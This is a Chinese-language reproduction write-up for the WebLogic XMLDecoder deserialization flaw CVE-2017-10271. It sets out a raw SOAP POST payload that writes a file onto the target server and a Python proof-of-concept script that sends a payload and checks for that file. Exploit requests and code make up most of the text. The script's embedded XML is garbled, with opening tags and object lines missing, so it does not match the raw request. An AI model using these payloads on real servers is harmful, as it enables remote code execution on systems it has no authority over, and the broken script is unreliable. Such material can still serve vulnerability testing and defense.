Weblogic(CVE-2017-10271)漏洞复现

WebLogic XMLDecoder反序列化漏洞（CVE-2017-10271）

漏洞编号：CVE-2017-10271

漏洞描述：WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞，可以构造请求对运行WebLogic中间件的主机进行攻击，近期发现此漏洞的利用方式为传播挖矿程序。

受影响WebLogic版本：10.3.6.0.0，12.1.3.0.0，12.2.1.1.0，12.2.1.2.0。

A、环境搭建

　　不解释

B、漏洞利用：

1、初步判断：访问 http://192.168.8.148:7001/wls-wsat/CoordinatorPortType11，存在下图则说明可能存在漏洞

2、构造POST包进行测试，写入test.txt

POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 192.168.8.148:

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/ Firefox/48.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Upgrade-Insecure-Requests: 1

Content-Type: text/xml

Content-Length: 756

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

      <soapenv:Header>

        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

         <java version="1.6.0" class="java.beans.XMLDecoder">

                    <object class="java.io.PrintWriter">

                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">

                        <string>xmldecoder_vul_test</string></void><void method="close"/>

                    </object>

            </java>

        </work:WorkContext>

      </soapenv:Header>

      <soapenv:Body/>

</soapenv:Envelope>

PS:wls-wsat路径 /root/Oracle/Middleware//user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/

3、访问test.txt,漏洞验证成功

Python验证脚本：

#!/usr/bin/env python

# coding:utf-8

import requests

from sys import argv

headers = {

	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',

	'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

	'Upgrade-Insecure-Requests': '1',

	'Content-Type': 'text/xml'

    }

def Webogic_XMLDecoder_poc(url):

	#url="http://192.168.8.148:7001"

	posturl=url+'/wls-wsat/CoordinatorPortType'

	data = '''

	<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

		<soapenv:Header>

				<java version="1.6.0" class="java.beans.XMLDecoder">

						<string>xmldecoder_vul_test</string></void><void method="close"/>

					</object>

				</java>

			</work:WorkContext>

		</soapenv:Header>

		<soapenv:Body/>

	</soapenv:Envelope>

    '''

	print url

	try:

		r=requests.post(posturl,data=data,headers=headers,timeout=5)

		geturl=url+"/wls-wsat/test.txt"

		#print geturl

		check_result = requests.get(geturl,headers=headers,timeout=5)

		if 'xmldecoder_vul_test' in check_result.text:

			print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)"

	except:

		pass

if __name__ == '__main__':

	if len(argv) == 1:

		print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001"

		exit(0)

	else:

		url = argv[1]

	Webogic_XMLDecoder_poc(url)
